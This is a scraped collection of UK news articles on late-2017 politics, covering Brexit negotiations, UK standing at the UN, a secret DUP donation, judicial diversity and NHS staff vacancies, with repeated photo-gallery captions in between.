leader of the Conservative Party to become Prime Minister and form a new government PA UK news in pictures 24 October 2022 Rishi Sunak celebrates with Tory MPs outside the Conservative Campaign Headquarters after becoming the new leader of the Conservative Party Reuters UK news in pictures 23 October 2022 The Green Man at October Plenty, Borough Market's annual Autumn Harvest festival, in London, which returns for the first time post pandemic PA UK news in pictures 21 October 2022 Sculptor Peter McKenna puts the finishing touches to a pumpkin that will form part of the Planet A Hebden Bridge Pumpkin Trail in the West Yorkshire town PA UK news in pictures 20 October 2022 Britains Prime Minister Liz Truss delivers a speech outside of 10 Downing Street in central London to announce her resignation AFP/Getty UK news in pictures 19 October 2022 Salmon leap up Stainforth Force on the River Ribble in the Yorkshire Dales as they swim upriver to their spawning grounds during the annual Salmon migration PA UK news in pictures 18 October 2022 Just Stop Oil protesters continue their protest for a second day on the Queen Elizabeth II Bridge, which links Kent and Essex and which remains closed for traffic, after it was scaled by two climbers from the group PA UK news in pictures 17 October 2022 Hundreds of students take part in the traditional Raisin Monday foam fight on St Salvator's Lower College Lawn at the University of St Andrews in Fife PA UK news in pictures 16 October 2022 A protester holds a placard during a march into central London at a demonstration by the climate change protest group Extinction Rebellion AFP/Getty UK news in pictures 15 October 2022 A member of the public drags an activist who is blocking the road during a "Just Stop Oil" protest, in London, Britain REUTERS UK news in pictures 14 October 2022 Germanys Womens double skulls during day one of the World Rowing Beach Sprint Finals at Saundersfoot beach, Pembrokeshire PA UK news in pictures 13 October 2022 Family and mourners arrive at St Michael's Church, in Creeslough, for the funeral mass of 49-year-old mother of four Martina Martin, who died following an explosion at the Applegreen service station in the village of Creeslough in Co Donegal on Friday PA UK news in pictures 12 October 2022 Motorists in Coventry pass trees showing autumnal colour PA UK news in pictures 11 October 2022 A woman and her dog in the the North Sea at Tynemouth Longsands beach before sunrise PA UK news in pictures 10 October 2022 Police officers remove a campaigner from a Just Stop Oil protest on The Mall, near Buckingham Palace, London PA UK news in pictures 9 October 2022 A drummer plays during the Diwali on the Square celebration, in Trafalgar Square, London PA UK news in pictures 8 October 2022 Timothee Chalamet attending the UK premiere of Bones and All during the BFI London Film Festival 2022 at the Royal Festival Hall, Southbank Centre, London PA UK news in pictures 7 October 2022 Two young male fallow deer lock antlers in Dublins Phoenix park as rutting season begins PA UK news in pictures 6 October 2022 The Princess of Wales during a cocktail making competition during a visit to Trademarket, a new outdoor street-food and retail market situated in Belfast city centre, as part of the royal visit to Northern Ireland PA UK news in pictures 5 October 2022 Greenpeace protesters interrupt Prime Minister Liz Truss as she delivers her keynote speech to the Conservative Party annual conference PA UK news in pictures 4 October 2022 Prime Minister Liz Truss and Britains Chancellor of the Exchequer Kwasi Kwarteng wearing hard hats and hi-vis jackets, visit a construction site for a medical innovation campus in Birmingham AFP/Getty UK news in pictures 3 October 2022 British artist Sam Cox, aka Mr Doodle, reveals the Doodle House, a twelve-room mansion at Tenterden, in Kent, which has been covered, inside and out in the artist's trademark monochrome, cartoonish hand-drawn doodles PA UK news in pictures 2 October 2022 Erling Haaland celebrates after scoring Manchester City's second goal against Manchester United at Etihad Stadium. Haaland went on to score a hattrick, his third of the season in the Premier League. City beat United 6-3. Manchester City FC/Getty UK news in pictures 1 October 2022 Protesters hold up flags and placards at a protest in London. A variety of protest groups including Enough is Enough, Don't Pay and Just Stop Oil all demonstrated on the day AFP/Getty UK news in pictures 30 September 2022 British Prime Minister Liz Truss, who has not been seen in days, leaves the back of Downing Street after a meeting with Office For Budget Responsibility following the release of her governments mini-budget Getty UK news in pictures 29 September 2022 The Virginia creeper foliage on the Tu Hwnt i'r Bont (Beyond the Bridge) Llanwrst, Conwy North Wales, has changed colour from green to red in at the start of Autumn. The building was built in 1480 as a residential dwelling but has been a tearoom for over 50 years PA UK news in pictures 28 September 2022 Criminal barristers from the Criminal Bar Association (CBA), demonstrates outside the Royal Courts of Justice in London, as part of their ongoing pay row with the Government PA

The warning was echoed by Sir John Sawers, another former UN ambassador and ex-head of MI6, who said: The standing of the UK has come into question, whether it plays the role in the world that it has traditionally done and which our leaders claim they aspire to.

Sir John pointed out that, when the UK recently lost its judge on the ICJ bench  for the first time in its 71-year history  a French candidate was successful.

I think that reflects an admiration for what France has done in 2017, for its new leadership and its centrality in the European Union, he told the committee. You cant say any of those things about the UK.

Other countries were taken aback by Brexit, he said, adding: They wonder why Britain has taken this course when it didnt seem to be one about engagement in the world.

Theresa May was respected around the world, but consumed by the huge task of EU withdrawal. That means she is not able to play the same international role in the world that, say, the French President has been able to play over the last six months, Sir John added. Thats just a statement of reality.

The Foreign Affairs Committee has launched an inquiry into the UKs influence in the UN, following recent evidence that it is on the wane.

France, Germany, Spain, Denmark, Belgium and the Netherlands were among EU members who abstained in the June vote on the Chagos Islands, a disputed territory in the Indian Ocean.

Last month, the UK was forced to withdraw its candidate to fill a vacancy on the ICJ, because of inevitable defeat in the UN General Assembly.

Lord Hannay said the UK had traditionally been able to influence Washington and shape EU policy at the UN, as a permanent member of the security council. It goes without saying, Im afraid, that  since June of last year  those two pillars of our influence at the United Nations have been shaken.
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The EUs chief negotiator has warned there will be no place for the City of Londons financial services in any Brexit trade deal struck between the UK and the EU.

Michel Barnier argued there is not a trade deal anywhere it the world including financial services, adding, it doesnt exist.

His warning came on the eve of the first full Cabinet discussion of the eventual future relationship with the EU, or end state, the UK wants to achieve following Brexit.

 Theresa May says UK trade deals could be signed during Brexit process

Downing Street sources said they were at ease over the tough talk, saying it was early in the negotiation, but Mr Barniers words will irritate Brexiteers who want the UK to be tougher with Brussels negotiators.

In an interview with a number of European newspapers, including The Guardian, Mr Barnier made clear he was not open to a free trade agreement including financial services.

He said: There is no place (for financial services).

There is not a single trade agreement that is open to financial services. It doesnt exist.

Brexit: the deciders Show all 8 1 /8 Brexit: the deciders Brexit: the deciders European Union's chief Brexit negotiator, Michel Barnier Getty Brexit: the deciders French President Emmanuel Macron Getty Brexit: the deciders German Chancellor Angela Merkel Reuters Brexit: the deciders Commission President Jean-Claude Juncker EPA Brexit: the deciders The European Parliament's chief Brexit negotiator Guy Verhofstadt Getty Brexit: the deciders Britain's Prime Minister Theresa May Getty Images Brexit: the deciders Britain's Chancellor of the Exchequer, Philip Hammond PA Brexit: the deciders After the first and second appointed Brexit secretaries resigned (David Davis and Dominic Raab respectively), Stephen Barclay is currently heading up the position PA

Describing the position as a result of the red lines that the British have chosen themselves, he stated: In leaving the single market, they lose the financial services passport.

The end state will also be discussed in full Cabinet on Tuesday, but insiders suggested there would be several more meetings before a formal Government position is finalised in the early weeks of the new year.

Mr Barnier made clear that the EU will respond firmly to any deviation from the framework of single market regulations which might give the UK a competitive advantage through lower taxes or weaker standards.

We will not accept from the other side, regulatory competition against social rights, against environmental rights, against consumer rights and against fiscal regulations ... or against financial stability, he said.

In reference to US pressure on the UK to ditch EU food standards in the hope of securing a free trade deal, he said: We will not accept chlorinated chickens, nor other products that do not meet our food standards.

He said he believed that a UK/EU free trade deal could be agreed within the two-year transition, but said it would have to be ratified by more than 35 national and regional parliaments across the EU27, each of which holds a veto.

Mr Barnier also reiterated that the UK would have to follow all EU rules during the expected two-year transition period following the official date of Brexit in March 2019, including laws introduced during that time with no British input into decisions.

And he said while Britain can negotiate trade deals with other countries during the transition, they cannot enter into force until the period is over, probably in 2021.

On the day when the Prime Minister told the House of Commons the UK would leave the Common Agricultural Policy and Common Fisheries Policy (CFP) on Brexit, Mr Barnier also insisted that the UK must accept the complete architecture of the EU  including the role of the European Court of Justice, free movement of people and the CFP  during the transition, saying: It will be essentially the economic status quo.

Theresa May has repeatedly made clear that she intends to take Britain out of the single market and customs union after Brexit, effectively ruling out Norway-style free access to trade with the EU27.

 Brexit: Philip Hammond signals 'status quo' will remain two years after withdrawal

But she has suggested that a deep and special partnership with the remaining EU should be more extensive than the agreement struck with Canada in 2016, which covers goods but not services.

Brexit Secretary David Davis has called for a Canada plus plus plus deal which would include financial services.

Members of Mrs Mays Brexit war cabinet of senior ministers heard her say on Monday that she would aim high in negotiations for the post-Brexit trade deal.

But no agreement was reached on the shape of the deal which the UK should seek, with convinced Brexiteers like Boris Johnson, Michael Gove and Liam Fox  alongside Gavin Williamson, who voted Remain in the referendum  arguing for a clean break which will allow Britain to diverge from EU regulations as it forges new trade deals elsewhere in the world.

Meanwhile others including Philip Hammond and Amber Rudd pressed the case for continued regulatory alignment to maximise access to EU markets.

There was discussion of the potential for gradual divergence  a step-by-step move away from EU laws after Brexit and the conclusion of a subsequent implementation period in 2021.
 Close Theresa May chairs meeting with cabinet on 'end state' with the EU

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Welcome to The Independents politics liveblog. Theresa May has spoken with Donald Trump about his decision to recognise Jerusalem as the capital of Israel, and the need for a "swift" bilateral trade deal after Brexit.

Earlier, she met her full Cabinet and ministers set our their own visions for the UKs relationship with the EU after Brexit.

The meeting lasted for an hour and 45 minutes and some 25 ministers spoke, according to the Prime Minister's official spokesman.

Discussions on the so-called end state come amid reports that the Prime Minister and her aides are planning a speech  similar to Lancaster House and Florence  where Ms May will set out the Governments vision for future trade with the bloc.

Michel Barnier, the EUs chief negotiator, has also given another interview, insisting there will be no special arrangement to allow City firms to trade freely in the EU if Britain leaves the single market  a further blow to Ms Mays hopes of securing a bespoke deal with Brussels.

In comments likely to infuriate hardline Brexiteers, Mr Barnier said that the UK must follow all EU rules during the expected two-year transition period following the official date of Brexit in March 2019 - including laws introduced during that time with no British input into decisions.
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An obscure parliamentary committee has voted to continue to keep secret the source of a 425,000 donation to the Democratic Unionist Party, that was spent on wrap-around pro-Brexit advertising in the Metro newspaper during the EU referendum.

It means that changes to the rules for the publication of donors to Northern Irish political parties will only apply to donations made after the 1st July 2017, and will not be backdated to 2014 in accordance with previously agreed legislation.

It also means that the source of the 425,000 donation, the largest to any Northern Irish political party in history, and which has largely been seen as a device through which to donate anonymously to the Brexit campaign, will not be revealed.

Recommended How the night unfolded as May sealed a deal with the EU and DUP

Criticising the order, the Shadow Northern Ireland Secretary Owen Smith MP said: It is retrospective, but it could have been retrospective right back to 2014.

The reason there is concern about the subsequent decision to only make this [backdated to 2017] is because of one donation, of 425,000, the biggest donation in Northern Ireland history.

The rules were changed on the naming of donors to political parties in the UK in 2000, but Northern Irish political parties were given an exemption, over the security risk it would pose to certain individuals on the list and that it could destabilise the peace process.

Those rules have since been revisited, but Mr Brokenshires order will tweak the rules to prevent the source of this large donation, which was spent campaigning on the UK mainland, where the DUP do not field candidates, from being named.

The donation has been named as coming from a group of businessmen called the Constitutional Research Council (CRC), though the ultimate source of their cash has not been confirmed.

282,000 was spent on a wrap around advertisements on the Metro newspaper, saying Vote Leave. Take Back Control under Democratic Unionist Party branding. Some of them money was also paid to a data company linked to the analytics firm who worked for the Brexit campaign, Cambridge Analytica.

Labours Ben Bradshaw said: As well the 282,000 that was spent on adverts in the metro newspaper, 32,000 was spent with a Canadian data company linked with Cambridge Analytica.

The DUP was used with their knowledge by the CRC to funnel money to the leave campaign that to this day keeps the source of that money secret.

The people of NI deserve to have confidence in the transparency and integrity of their electoral system.

DUP MP Sammy Wilson said the donation obeyed all the rules and that Labours attempt to have the donor named was because it was not happy with the result of the referendum.

Owen Smith added: It is deeply ironic that last week Northern Ireland had to be absolutely in line with the rest of the UK, on this issue cannot accept being in line with the rest of the UK. They want special status. That irony will not escape people.

Both Labour and the SNP indicated their attention to vote against the order, which would prevent the change from happening at all. Northern Ireland Under Secretary of State Chloe Smith called this a vote against transparency.

In fiery exchanges, Labours Jess Phillips said Ms Smith should be careful with her language. To call Labours request for the provision to be backdated to 2014 was, she said a pantomime.

Historically, Northern Irish parties have been able to receive sizeable donations from foreign donors, which is not allowed for other UK parties, and is largely seen as allowing Sinn Fein to receive large sums from Irish Republicans based in America. Sammy Wilson called the vote to pass the amendment a good day for transparency in Northern Ireland.
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The Government is to refuse to commit to recruiting more ethnic minority judges, The Independent understands, despite the fact that just 7 per cent currently come from a minority background.

Ministers are expected to refuse calls to adopt a clear target for appointing more ethnic minority judges by 2025 when they publish their response to David Lammys government review into the treatment of black, Asian and minority ethnic (BAME) people in the justice system.

The Labour MP had recommended a national target as a key step to increasing diversity in the judiciary.

In his review, published in September, Mr Lammy said: The Government should set a clear, national target to achieve a representative judiciary and magistracy by 2025. It should then report to Parliament with progress against this target biennially.

However, the Ministry of Justice is understood to have rejected the suggestion.

While a number of Mr Lammys other recommendations have been adopted, including proposals to increase the number of BAME people in senior roles in prisons, the Tottenham MP said he was disappointed that the Government has refused to adopt a national target on diversity of judges, and warned ministers: More of the same will not work.

He said: I am pleased to see the Government take forward recommendations for targets on the diversity of our Prison Governors and senior leadership, however I am disappointed that the Government have not felt able to move forward on targets or goals to achieve a representative judiciary and magistracy.

I found that the lack of diversity within our judiciary and magistracy has a significant effect on the trust deficit that I found in Britains BAME communities in relation to how the justice system is perceived. My review demonstrated the lack of progress over the last decade in improving diversity amongst the judges that sit in our courts, and I am clear that more of the same will not work.

UK news in pictures Show all 50 1 /50 UK news in pictures UK news in pictures 17 November 2022 Chancellor of the Exchequer Jeremy Hunt leaves 11 Downing Street, London, for the House of Commons to deliver his autumn statement PA UK news in pictures 16 November 2022 Emma Woolf, great niece of British author Virginia Woolf, and her son Ludovic sit next to a new bronze statue of Woolf, unveiled in Richmond, London Reuters UK news in pictures 15 November 2022 Lesley Sutcliffe shelters from the rain next to a life-sized replica of the innermost coffin of King Tutankhamun by artist Amanda Stoner as it goes on display inside a traditional red telephone box which has been converted into a museum, in Barnsley, South Yorkshire PA UK news in pictures 14 November 2022 Members of the hospitality sector demonstrate outside parliament in London. The head of the Confederation of British Industry is urging the UK government to relax immigration rules to help British companies with severe staff shortages, ahead of the chancellors autumn statement EPA UK news in pictures 13 November 2022 England celebrate winning the mens T20 World Cup in Melbourne Cricket Ground, Australia AAP Image/Reuters UK news in pictures 12 November 2022 The City of London Pride Group take part in the parade during the Lord Mayor's Show PA UK news in pictures 11 November 2022 City workers attend a Remembrance Day ceremony at Lloyd's of London, in the City of London, to mark Armistice Day, the anniversary of the end of the First World War PA UK news in pictures 10 November 2022 A grey heron lands on the river Dodder in Dublin on a sunny autumn morning PA UK news in pictures 9 November 2022 Australia and Spain play during the Wheelchair Rugby League World Cup group A match at the Copper Box Arena, London PA UK news in pictures 8 November 2022 A migrant attempting to communicate with journalists is pinned against a fence by members of staff, before being taken out of view, at the Manston immigration short-term holding facility, located at the former Defence Fire Training and Development Centre in Thanet, Kent PA UK news in pictures 7 November 2022 Handout photo issued by Just Stop Oil of a protester who has climbed a gantry on the M25 between junctions six and seven in Surrey, leading to the closure of the motorway PA UK news in pictures 6 November 2022 A grey seal with its pup, at the Donna Nook National Nature Reserve in north Lincolnshire, where they come every year in late October, November and December to give birth to their pups near the sand dunes, the wildlife spectacle attracts visitors from across the UK PA UK news in pictures 5 November 2022 Demonstrators with placards calling for a General Election march near the Houses of Parliament AFP via Getty Images UK news in pictures 4 November 2022 A peacock is seen in the early winter sunshine in the Dutch Gardens in Holland Park AFP via Getty Images UK news in pictures 3 November 2022 Florence Kasumba, Letitia Wright, Tenoch Huerta and Lupita Nyongo attend the European Premiere of Black Panther: Wakanda Forever in London Getty UK news in pictures 2 November 2022 A red squirrel gathers nuts in Pitlochry, Scotland Reuters UK news in pictures 1 November 2022 Englands Tara-Jane Stanley scores their sides seventh try against Brazil during the Womens Rugby League World Cup group A match at Headingley Stadium, Leeds PA UK news in pictures 31 October 2022 GBs James Hall competes during the mens parallel bars qualification at the World Gymnastics Championships in Liverpool AFP/Getty UK news in pictures 30 October 2022 People dressed in Halloween costumes paddle board along the river Avon in Christchurch, Dorset PA UK news in pictures 29 October 2022 Members of the public take pictures as police officers remove activists from a road during a Just Stop Oil protest, in London Reuters UK news in pictures 28 October 2022 A cosplayer attends the MCM Comic Con London 2022 at the ExCel Centre in London Reuters UK news in pictures 27 October 2022 98-year-old D-Day Veteran Bernard Morgan, whose story is among those featured on the giant poppy wall, during the launch of The Royal British Legion 2022 Poppy Appeal, at Hay's Galleria in central London PA UK news in pictures 26 October 2022 A meerkat explores a pumpkin in the enclosure at Wild Place, Bristol, where some of the animals are having pumpkin treats as part of their environmental enrichment PA UK news in pictures 25 October 2022 King Charles III welcomes Rishi Sunak during an audience at Buckingham Palace, where he invited the newly elected leader of the Conservative Party to become Prime Minister and form a new government PA UK news in pictures 24 October 2022 Rishi Sunak celebrates with Tory MPs outside the Conservative Campaign Headquarters after becoming the new leader of the Conservative Party Reuters UK news in pictures 23 October 2022 The Green Man at October Plenty, Borough Market's annual Autumn Harvest festival, in London, which returns for the first time post pandemic PA UK news in pictures 21 October 2022 Sculptor Peter McKenna puts the finishing touches to a pumpkin that will form part of the Planet A Hebden Bridge Pumpkin Trail in the West Yorkshire town PA UK news in pictures 20 October 2022 Britains Prime Minister Liz Truss delivers a speech outside of 10 Downing Street in central London to announce her resignation AFP/Getty UK news in pictures 19 October 2022 Salmon leap up Stainforth Force on the River Ribble in the Yorkshire Dales as they swim upriver to their spawning grounds during the annual Salmon migration PA UK news in pictures 18 October 2022 Just Stop Oil protesters continue their protest for a second day on the Queen Elizabeth II Bridge, which links Kent and Essex and which remains closed for traffic, after it was scaled by two climbers from the group PA UK news in pictures 17 October 2022 Hundreds of students take part in the traditional Raisin Monday foam fight on St Salvator's Lower College Lawn at the University of St Andrews in Fife PA UK news in pictures 16 October 2022 A protester holds a placard during a march into central London at a demonstration by the climate change protest group Extinction Rebellion AFP/Getty UK news in pictures 15 October 2022 A member of the public drags an activist who is blocking the road during a "Just Stop Oil" protest, in London, Britain REUTERS UK news in pictures 14 October 2022 Germanys Womens double skulls during day one of the World Rowing Beach Sprint Finals at Saundersfoot beach, Pembrokeshire PA UK news in pictures 13 October 2022 Family and mourners arrive at St Michael's Church, in Creeslough, for the funeral mass of 49-year-old mother of four Martina Martin, who died following an explosion at the Applegreen service station in the village of Creeslough in Co Donegal on Friday PA UK news in pictures 12 October 2022 Motorists in Coventry pass trees showing autumnal colour PA UK news in pictures 11 October 2022 A woman and her dog in the the North Sea at Tynemouth Longsands beach before sunrise PA UK news in pictures 10 October 2022 Police officers remove a campaigner from a Just Stop Oil protest on The Mall, near Buckingham Palace, London PA UK news in pictures 9 October 2022 A drummer plays during the Diwali on the Square celebration, in Trafalgar Square, London PA UK news in pictures 8 October 2022 Timothee Chalamet attending the UK premiere of Bones and All during the BFI London Film Festival 2022 at the Royal Festival Hall, Southbank Centre, London PA UK news in pictures 7 October 2022 Two young male fallow deer lock antlers in Dublins Phoenix park as rutting season begins PA UK news in pictures 6 October 2022 The Princess of Wales during a cocktail making competition during a visit to Trademarket, a new outdoor street-food and retail market situated in Belfast city centre, as part of the royal visit to Northern Ireland PA UK news in pictures 5 October 2022 Greenpeace protesters interrupt Prime Minister Liz Truss as she delivers her keynote speech to the Conservative Party annual conference PA UK news in pictures 4 October 2022 Prime Minister Liz Truss and Britains Chancellor of the Exchequer Kwasi Kwarteng wearing hard hats and hi-vis jackets, visit a construction site for a medical innovation campus in Birmingham AFP/Getty UK news in pictures 3 October 2022 British artist Sam Cox, aka Mr Doodle, reveals the Doodle House, a twelve-room mansion at Tenterden, in Kent, which has been covered, inside and out in the artist's trademark monochrome, cartoonish hand-drawn doodles PA UK news in pictures 2 October 2022 Erling Haaland celebrates after scoring Manchester City's second goal against Manchester United at Etihad Stadium. Haaland went on to score a hattrick, his third of the season in the Premier League. City beat United 6-3. Manchester City FC/Getty UK news in pictures 1 October 2022 Protesters hold up flags and placards at a protest in London. A variety of protest groups including Enough is Enough, Don't Pay and Just Stop Oil all demonstrated on the day AFP/Getty UK news in pictures 30 September 2022 British Prime Minister Liz Truss, who has not been seen in days, leaves the back of Downing Street after a meeting with Office For Budget Responsibility following the release of her governments mini-budget Getty UK news in pictures 29 September 2022 The Virginia creeper foliage on the Tu Hwnt i'r Bont (Beyond the Bridge) Llanwrst, Conwy North Wales, has changed colour from green to red in at the start of Autumn. The building was built in 1480 as a residential dwelling but has been a tearoom for over 50 years PA UK news in pictures 28 September 2022 Criminal barristers from the Criminal Bar Association (CBA), demonstrates outside the Royal Courts of Justice in London, as part of their ongoing pay row with the Government PA

The Lammy review found evidence of widespread racial bias in the justice system, with black people four times more likely to be in prison in England and Wales than their proportion of the population would suggest. Young black people are nine times more likely to be locked up then their white peers, Mr Lammy found.

As he prepared to publish the Governments formal response to the review, David Lidington, the Justice Secretary, said: This Government is committed to exposing injustice wherever it exists. Where we cannot explain differences in outcomes for different groups, we will reform.

Effective justice simply cannot be delivered unless everyone has full confidence in our Criminal Justice System.

This is the very first step in a change of attitude towards race disparity that will touch on every part of the criminal justice system for years to come.
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Theresa May has been warned over a deepening crisis in the health service as new figures show more than 100,000 NHS posts are lying vacant.

New analysis suggests the number of unfilled doctor positions has risen beyond 10,000 for the first time, while vacancies for nurses soared to 40,000 within the health service in England.

Nursing leaders warned the health service is now facing intense pressures amid increased demand, tightening budgets and poor working conditions that across the NHS has led to almost one in 10 posts remaining unfilled.

Recommended One in five NHS trusts has run out of beds at some point this winter

In a sign of the challenges facing the health service, The Independent revealed last week that one in five hospital trusts ran out of spare beds in the first weeks of winter, with seasonal pressures just beginning to bite.

It also comes after Health Education England  the NHS staffing agency  recently identified a need for 190,000 extra staff by 2027 as part of a draft strategy to provide a sustainable workforce.

The new figures were uncovered by Labour through a series of freedom of information requests to more than 80 NHS trusts.

Shadow Health Secretary Jonathan Ashworth said: Tory mismanagement of the workforce has been a disaster for staff and patients alike.

Ministers were urged to take immediate steps to guarantee patient safety as the figures revealed overall vacancy rates rose to 9 per cent this year, with hospitals short of thousands of vital staff, including some 40,000 nurses and 11,000 scientific, technical and therapeutic staff.

Nearly one in 10 hospital and community doctor posts remain unfilled, while the highest vacancy rates were among nurses at 12.2 per cent, leaving some hospitals and care homes reliant on inexperienced healthcare assistants.

Labour accused the Government of presiding over a workforce crisis of its own making, pointing to the controversial public sector pay cap and the decision to scrap bursaries as key factors behind the difficulty recruiting frontline staff.

Mr Ashworth said: For years the Government has failed to ensure enough new recruits coming through in key specialities, while failed policy decisions like the NHS pay cap and the ending of the NHS bursary have contributed to a growing crisis.

 Corbyn: Theresa May is in denial over the NHS crisis

Staffing shortages already divert funding from front-line services, as hospital bosses have been forced to spend 3bn a year on costly agency staff to plug the gaps on wards, he said.

Mr Ashworth added: There is now an urgent need for a sustainable, fully funded plan to get the right numbers of staff in place to keep patients safe.

Labours research today has shown that NHS workforce shortages in key areas are continuing to get worse year on year  ministers must take action before its too late.

Vacancies were particularly high among mental health trusts, with South London and Maudsley NHS Foundation Trust reporting a 23 per cent vacancy rate and North Essex Partnership University NHS Foundation Trust, which had a 22 per cent rate.

A spokesperson for South London and Maudsley NHS Foundation Trust said it takes safe staffing levels very seriously and has managed to reduce vacancy rates to 14 per cent since March.

They said: This is still too high, and work continues to reduce it, though it should be noted that vacant clinical roles are almost without exception filled by temporary, many of whom work with us regularly on flexible contracts. The Trust does not seek to save money by holding posts open, to the detriment of the care we provide.

Campaigners said staffing shortages were already impacting on patient safety and care standards, with warnings of a perilous January if staffing levels remain low.

Rachel Power, chief executive of the Patients Association, told The Independent: Workforce shortages can have, and are having, serious consequences for patients experience of NHS care, and for their safety.

They lead to longer waits for treatment, and increased difficulty in securing appointments.

For in-patients, we know there are particular risks associated with an overstretched workforce struggling to provide care to a decent standard, and more liable to making mistakes  despite the often mighty efforts of the workers concerned.

The big danger now must be that the situation could spiral: the more gruelling things get, the more clinicians and professionals will feel they cant face it any longer and decide to leave, and the greater the risks to patients.

UK news in pictures Show all 50 1 /50 UK news in pictures UK news in pictures 17 November 2022 Chancellor of the Exchequer Jeremy Hunt leaves 11 Downing Street, London, for the House of Commons to deliver his autumn statement PA UK news in pictures 16 November 2022 Emma Woolf, great niece of British author Virginia Woolf, and her son Ludovic sit next to a new bronze statue of Woolf, unveiled in Richmond, London Reuters UK news in pictures 15 November 2022 Lesley Sutcliffe shelters from the rain next to a life-sized replica of the innermost coffin of King Tutankhamun by artist Amanda Stoner as it goes on display inside a traditional red telephone box which has been converted into a museum, in Barnsley, South Yorkshire PA UK news in pictures 14 November 2022 Members of the hospitality sector demonstrate outside parliament in London. The head of the Confederation of British Industry is urging the UK government to relax immigration rules to help British companies with severe staff shortages, ahead of the chancellors autumn statement EPA UK news in pictures 13 November 2022 England celebrate winning the mens T20 World Cup in Melbourne Cricket Ground, Australia AAP Image/Reuters UK news in pictures 12 November 2022 The City of London Pride Group take part in the parade during the Lord Mayor's Show PA UK news in pictures 11 November 2022 City workers attend a Remembrance Day ceremony at Lloyd's of London, in the City of London, to mark Armistice Day, the anniversary of the end of the First World War PA UK news in pictures 10 November 2022 A grey heron lands on the river Dodder in Dublin on a sunny autumn morning PA UK news in pictures 9 November 2022 Australia and Spain play during the Wheelchair Rugby League World Cup group A match at the Copper Box Arena, London PA UK news in pictures 8 November 2022 A migrant attempting to communicate with journalists is pinned against a fence by members of staff, before being taken out of view, at the Manston immigration short-term holding facility, located at the former Defence Fire Training and Development Centre in Thanet, Kent PA UK news in pictures 7 November 2022 Handout photo issued by Just Stop Oil of a protester who has climbed a gantry on the M25 between junctions six and seven in Surrey, leading to the closure of the motorway PA UK news in pictures 6 November 2022 A grey seal with its pup, at the Donna Nook National Nature Reserve in north Lincolnshire, where they come every year in late October, November and December to give birth to their pups near the sand dunes, the wildlife spectacle attracts visitors from across the UK PA UK news in pictures 5 November 2022 Demonstrators with placards calling for a General Election march near the Houses of Parliament AFP via Getty Images UK news in pictures 4 November 2022 A peacock is seen in the early winter sunshine in the Dutch Gardens in Holland Park AFP via Getty Images UK news in pictures 3 November 2022 Florence Kasumba, Letitia Wright, Tenoch Huerta and Lupita Nyongo attend the European Premiere of Black Panther: Wakanda Forever in London Getty UK news in pictures 2 November 2022 A red squirrel gathers nuts in Pitlochry, Scotland Reuters UK news in pictures 1 November 2022 Englands Tara-Jane Stanley scores their sides seventh try against Brazil during the Womens Rugby League World Cup group A match at Headingley Stadium, Leeds PA UK news in pictures 31 October 2022 GBs James Hall competes during the mens parallel bars qualification at the World Gymnastics Championships in Liverpool AFP/Getty UK news in pictures 30 October 2022 People dressed in Halloween costumes paddle board along the river Avon in Christchurch, Dorset PA UK news in pictures 29 October 2022 Members of the public take pictures as police officers remove activists from a road during a Just Stop Oil protest, in London Reuters UK news in pictures 28 October 2022 A cosplayer attends the MCM Comic Con London 2022 at the ExCel Centre in London Reuters UK news in pictures 27 October 2022 98-year-old D-Day Veteran Bernard Morgan, whose story is among those featured on the giant poppy wall, during the launch of The Royal British Legion 2022 Poppy Appeal, at Hay's Galleria in central London PA UK news in pictures 26 October 2022 A meerkat explores a pumpkin in the enclosure at Wild Place, Bristol, where some of the animals are having pumpkin treats as part of their environmental enrichment PA UK news in pictures 25 October 2022 King Charles III welcomes Rishi Sunak during an audience at Buckingham Palace, where he invited the newly elected leader of the Conservative Party to become Prime Minister and form a new government PA UK news in pictures 24 October 2022 Rishi Sunak celebrates with Tory MPs outside the Conservative Campaign Headquarters after becoming the new leader of the Conservative Party Reuters UK news in pictures 23 October 2022 The Green Man at October Plenty, Borough Market's annual Autumn Harvest festival, in London, which returns for the first time post pandemic PA UK news in pictures 21 October 2022 Sculptor Peter McKenna puts the finishing touches to a pumpkin that will form part of the Planet A Hebden Bridge Pumpkin Trail in the West Yorkshire town PA UK news in pictures 20 October 2022 Britains Prime Minister Liz Truss delivers a speech outside of 10 Downing Street in central London to announce her resignation AFP/Getty UK news in pictures 19 October 2022 Salmon leap up Stainforth Force on the River Ribble in the Yorkshire Dales as they swim upriver to their spawning grounds during the annual Salmon migration PA UK news in pictures 18 October 2022 Just Stop Oil protesters continue their protest for a second day on the Queen Elizabeth II Bridge, which links Kent and Essex and which remains closed for traffic, after it was scaled by two climbers from the group PA UK news in pictures 17 October 2022 Hundreds of students take part in the traditional Raisin Monday foam fight on St Salvator's Lower College Lawn at the University of St Andrews in Fife PA UK news in pictures 16 October 2022 A protester holds a placard during a march into central London at a demonstration by the climate change protest group Extinction Rebellion AFP/Getty UK news in pictures 15 October 2022 A member of the public drags an activist who is blocking the road during a "Just Stop Oil" protest, in London, Britain REUTERS UK news in pictures 14 October 2022 Germanys Womens double skulls during day one of the World Rowing Beach Sprint Finals at Saundersfoot beach, Pembrokeshire PA UK news in pictures 13 October 2022 Family and mourners arrive at St Michael's Church, in Creeslough, for the funeral mass of 49-year-old mother of four Martina Martin, who died following an explosion at the Applegreen service station in the village of Creeslough in Co Donegal on Friday PA UK news in pictures 12 October 2022 Motorists in Coventry pass trees showing autumnal colour PA UK news in pictures 11 October 2022 A woman and her dog in the the North Sea at Tynemouth Longsands beach before sunrise PA UK news in pictures 10 October 2022 Police officers remove a campaigner from a Just Stop Oil protest on The Mall, near Buckingham Palace, London PA UK news in pictures 9 October 2022 A drummer plays during the Diwali on the Square celebration, in Trafalgar Square, London PA UK news in pictures 8 October 2022 Timothee Chalamet attending the UK premiere of Bones and All during the BFI London Film Festival 2022 at the Royal Festival Hall, Southbank Centre, London PA UK news in pictures 7 October 2022 Two young male fallow deer lock antlers in Dublins Phoenix park as rutting season begins PA UK news in pictures 6 October 2022 The Princess of Wales during a cocktail making competition during a visit to Trademarket, a new outdoor street-food and retail market situated in Belfast city centre, as part of the royal visit to Northern Ireland PA UK news in pictures 5 October 2022 Greenpeace protesters interrupt Prime Minister Liz Truss as she delivers her keynote speech to the Conservative Party annual conference PA UK news in pictures 4 October 2022 Prime Minister Liz Truss and Britains Chancellor of the Exchequer Kwasi Kwarteng wearing hard hats and hi-vis jackets, visit a construction site for a medical innovation campus in Birmingham AFP/Getty UK news in pictures 3 October 2022 British artist Sam Cox, aka Mr Doodle, reveals the Doodle House, a twelve-room mansion at Tenterden, in Kent, which has been covered, inside and out in the artist's trademark monochrome, cartoonish hand-drawn doodles 